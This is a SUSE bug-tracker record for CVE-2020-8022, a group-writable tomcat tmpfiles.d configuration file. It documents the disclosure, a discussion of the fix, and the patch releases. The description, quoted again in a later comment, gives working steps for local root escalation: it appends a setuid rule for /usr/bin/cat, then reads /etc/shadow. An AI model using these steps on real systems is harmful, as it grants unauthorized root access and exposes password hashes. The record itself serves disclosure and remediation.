~~Bug 1172405 - (CVE-2020-8022) VUL-0: CVE-2020-8022: tomcat: /usr/lib/tmpfiles.d/tomcat.conf is group-writable for tomcat~~

Status: RESOLVED FIXED

Classification: Novell Products
Product: SUSE Security Incidents
Component: Incidents
Version: unspecified
Hardware: Other Other

Priority: P3 - Medium **Severity**: Normal
Target Milestone: ---
Assigned To: Security Team bot
QA Contact: Security Team bot

URL: https://smash.suse.de/issue/260424/
Whiteboard:
Keywords:

Depends on:
Blocks:
Show dependency tree / graph

- Create test case
- Clone This Bug

Reported: 2020-06-02 13:53 UTC by Matthias Gerstner
Modified: 2020-08-19 11:31 UTC (History)
CC List: 6 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---

Attachments

Add an attachment (proposed patch, testcase, etc.)

Note
You need to log in before you can comment on or make changes to this bug.

Matthias Gerstner 2020-06-02 13:53:39 UTC   Description

```
This seems to be a SUSE specific security issue in the tomcat packaging. It is
about the systemd-tmpfiles configuration file:

-rw-rw-r-- 1 root tomcat 76  2. Jun 15:23 /usr/lib/tmpfiles.d/tomcat.conf

it is packaged with mode 664 and group-ownership for the tomcat group. This
allows a compromised tomcat group account to perform a full local root exploit
e.g. by doing this on openSUSE Tumbleweed:

```
 # emulate a compromised tomcat group
 root # sudo -u tomcat /bin/bash
 tomcat $ groups
 tomcat

 tomcat $ echo "f /usr/bin/cat 4755 root root -" >>/usr/lib/tmpfiles.d/tomcat.conf
 tomcat $ exit
 # simulate a reboot
 root # reboot

 # login as tomcat in the rebooted system
 tomcat $ ls -lh /usr/bin/cat
 -rwsr-xr-x 1 root root 31K 11. Mai 13:54 /usr/bin/cat

 tomcat $ cat /etc/shadow
 <shadow contents>
```

The issue is present in all currently maintained codestreams i.e.:

- SUSE:SLE-15:Update
- SUSE:SLE-15-SP1:GA
- SUSE:SLE-12-SP4:Update
- SUSE:SLE-12-SP2:Update

To fix this it should suffice to ship /usr/lib/tmpfiles.d/tomcat.conf owned by
root:root mode 0640.
```

Matthias Gerstner 2020-06-02 13:55:49 UTC   Comment 1

```
This is an embargoed bug. This means that this information is not public. Please
- do not talk to other people about this unless they're involved in fixing the
issue
- do not submit this into OBS (e.g. fix Leap) until this is public
- do not make this bug public
- Please be aware that the SUSE:SLE-12-SP5:GA and SUSE:SLE-15-SP2:GA codestreams
are available via OBS.
This means that you can't submit security fixes for embargoed issues to these GA
codestreams under
development until they become public. In doubt please talk to us on IRC
(#security), RocketChat (#security) or send us a mail.
```

Matthias Gerstner 2020-06-02 13:56:19 UTC   Comment 2

```
Internal CRD: 2020-08-31 or earlier
```

Johannes Segitz 2020-06-02 14:05:29 UTC   Comment 3

```
Please use CVE-2020-8022 for this
```

ming li 2020-06-16 02:49:59 UTC Comment 6

```
(In reply to Matthias Gerstner from comment #0)
> This seems to be a SUSE specific security issue in the tomcat packaging. It
> is
> about the systemd-tmpfiles configuration file:
>
> -rw-rw-r-- 1 root tomcat 76  2. Jun 15:23 /usr/lib/tmpfiles.d/tomcat.conf
>
> it is packaged with mode 664 and group-ownership for the tomcat group. This
> allows a compromised tomcat group account to perform a full local root
> exploit
> e.g. by doing this on openSUSE Tumbleweed:
>
> ```
> # emulate a compromised tomcat group
> root # sudo -u tomcat /bin/bash
> tomcat $ groups
> tomcat
>
> tomcat $ echo "f /usr/bin/cat 4755 root root -"
> >>/usr/lib/tmpfiles.d/tomcat.conf
> tomcat $ exit
> # simulate a reboot
> root # reboot
>
> # login as tomcat in the rebooted system
> tomcat $ ls -lh /usr/bin/cat
> -rwsr-xr-x 1 root root 31K 11. Mai 13:54 /usr/bin/cat
>
> tomcat $ cat /etc/shadow
> <shadow contents>
> ```
>
> The issue is present in all currently maintained codestreams i.e.:
>
> - SUSE:SLE-15:Update
> - SUSE:SLE-15-SP1:GA
> - SUSE:SLE-12-SP4:Update
> - SUSE:SLE-12-SP2:Update
>
> To fix this it should suffice to ship /usr/lib/tmpfiles.d/tomcat.conf owned
> by

 root:root mode 0640.

I'm testing S:M:15315:219841. I just have a curious question. I see that the
solution to this problem on http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-
Root-PrivEsc-Exploit-CVE-2016-5425.html is to remove the write permission. The
permission is changed to 644, and our solution is changed to 640. What's the impact
of this? Thanks!
```

ming li 2020-06-16 03:32:04 UTC Comment 7

```
> I'm testing S:M:15315:219841. I just have a curious question. I see that the
> solution to this problem on
> http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-
> CVE-2016-5425.html is to remove the write permission. The permission is
> changed to 644, and our solution is changed to 640. What's the impact of
> this? Thanks!


e.g. After the software update, other users will not be able to view this file:
# su - tomcat

tomcat@s12sp3:/usr/share/tomcat> less /usr/lib/tmpfiles.d/tomcat.conf
/usr/lib/tmpfiles.d/tomcat.conf: Permission denied

Please help to check.
```

ming li 2020-06-17 02:58:40 UTC Comment 8

```
(In reply to ming li from comment #7)
> > I'm testing S:M:15315:219841. I just have a curious question. I see that the
> > solution to this problem on
> > http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-
> > CVE-2016-5425.html is to remove the write permission. The permission is
> > changed to 644, and our solution is changed to 640. What's the impact of
> > this? Thanks!
>
> e.g. After the software update, other users will not be able to view this
> file:
> # su - tomcat
>
> tomcat@s12sp3:/usr/share/tomcat> less /usr/lib/tmpfiles.d/tomcat.conf
> /usr/lib/tmpfiles.d/tomcat.conf: Permission denied
>
> Please help to check.


Is this the expected effect?
```

Johannes Segitz 2020-06-17 08:34:50 UTC Comment 9

```
(In reply to ming li from comment #8)
I would change it to 644 to match the permissions of other files in this directory.
The content itself shouldn't be sensitive, so world readable shouldn't be an issue
```

Alexandros Toptsoglou 2020-06-17 08:41:32 UTC Comment 10

```
(In reply to Johannes Segitz from comment #9)
> (In reply to ming li from comment #8)
> I would change it to 644 to match the permissions of other files in this
> directory. The content itself shouldn't be sensitive, so world readable
> shouldn't be an issue


Following this comment Matei could please prepare follow up submissions?
```

Matei Albu 2020-06-17 10:09:39 UTC Comment 11

```
(In reply to Alexandros Toptsoglou from comment #10)
```

```
 >
 > Following this comment Matei could please prepare follow up submissions?


Sure, I'll prepare another submission.
```

Swamp Workflow Management 2020-06-26 13:13:29 UTC Comment 15

```
SUSE-SU-2020:1789-1: An update that fixes one vulnerability is now available.

Category: security (important)
Bug References: 1172405
CVE References: CVE-2020-8022
Sources used:
SUSE Linux Enterprise Server for SAP 15 (src):    tomcat-9.0.35-3.57.3
SUSE Linux Enterprise Server 15-LTSS (src):    tomcat-9.0.35-3.57.3
SUSE Linux Enterprise High Performance Computing 15-LTSS (src):    tomcat-9.0.35-
3.57.3
SUSE Linux Enterprise High Performance Computing 15-ESPOS (src):    tomcat-9.0.35-
3.57.3

NOTE: This line indicates an update has been released for the listed product(s). At
times this might be only a partial fix. If you have questions please reach out to
maintenance coordination.
```

Swamp Workflow Management 2020-06-26 13:14:46 UTC Comment 16

```
SUSE-SU-2020:1788-1: An update that fixes one vulnerability is now available.

Category: security (important)
Bug References: 1172405
CVE References: CVE-2020-8022
Sources used:
SUSE Linux Enterprise Server 12-SP5 (src):    tomcat-9.0.35-3.39.1
SUSE Linux Enterprise Server 12-SP4 (src):    tomcat-9.0.35-3.39.1

NOTE: This line indicates an update has been released for the listed product(s). At
times this might be only a partial fix. If you have questions please reach out to
maintenance coordination.
```

Swamp Workflow Management 2020-06-26 13:15:28 UTC Comment 17

```
SUSE-SU-2020:1791-1: An update that fixes one vulnerability is now available.

Category: security (important)
Bug References: 1172405
CVE References: CVE-2020-8022
Sources used:
SUSE OpenStack Cloud Crowbar 8 (src):    tomcat-8.0.53-29.32.1
SUSE OpenStack Cloud 8 (src):    tomcat-8.0.53-29.32.1
SUSE OpenStack Cloud 7 (src):    tomcat-8.0.53-29.32.1
SUSE Linux Enterprise Server for SAP 12-SP3 (src):    tomcat-8.0.53-29.32.1
SUSE Linux Enterprise Server for SAP 12-SP2 (src):    tomcat-8.0.53-29.32.1
SUSE Linux Enterprise Server 12-SP3-LTSS (src):    tomcat-8.0.53-29.32.1
SUSE Linux Enterprise Server 12-SP3-BCL (src):    tomcat-8.0.53-29.32.1
SUSE Linux Enterprise Server 12-SP2-LTSS (src):    tomcat-8.0.53-29.32.1
SUSE Linux Enterprise Server 12-SP2-BCL (src):    tomcat-8.0.53-29.32.1
SUSE Enterprise Storage 5 (src):    tomcat-8.0.53-29.32.1
HPE Helion Openstack 8 (src):    tomcat-8.0.53-29.32.1

NOTE: This line indicates an update has been released for the listed product(s). At
times this might be only a partial fix. If you have questions please reach out to
maintenance coordination.
```

Swamp Workflow Management 2020-06-26 13:16:44 UTC Comment 18

```
SUSE-SU-2020:1790-1: An update that fixes one vulnerability is now available.

Category: security (important)
Bug References: 1172405
CVE References: CVE-2020-8022
Sources used:
SUSE Linux Enterprise Module for Web Scripting 15-SP1 (src):    tomcat-9.0.35-
4.35.1

NOTE: This line indicates an update has been released for the listed product(s). At
times this might be only a partial fix. If you have questions please reach out to
maintenance coordination.
```

Swamp Workflow Management 2020-06-29 22:14:31 UTC Comment 19

```
openSUSE-SU-2020:0911-1: An update that fixes one vulnerability is now available.

Category: security (important)
Bug References: 1172405
CVE References: CVE-2020-8022
Sources used:
openSUSE Leap 15.1 (src):    tomcat-9.0.35-lp151.3.21.1
```

Wolfgang Frisch 2020-08-19 11:31:07 UTC Comment 21

```
Released.
```

First Last Prev Next This bug is not in your last search results.

Format For Printing - XML - Clone This Bug - Top of page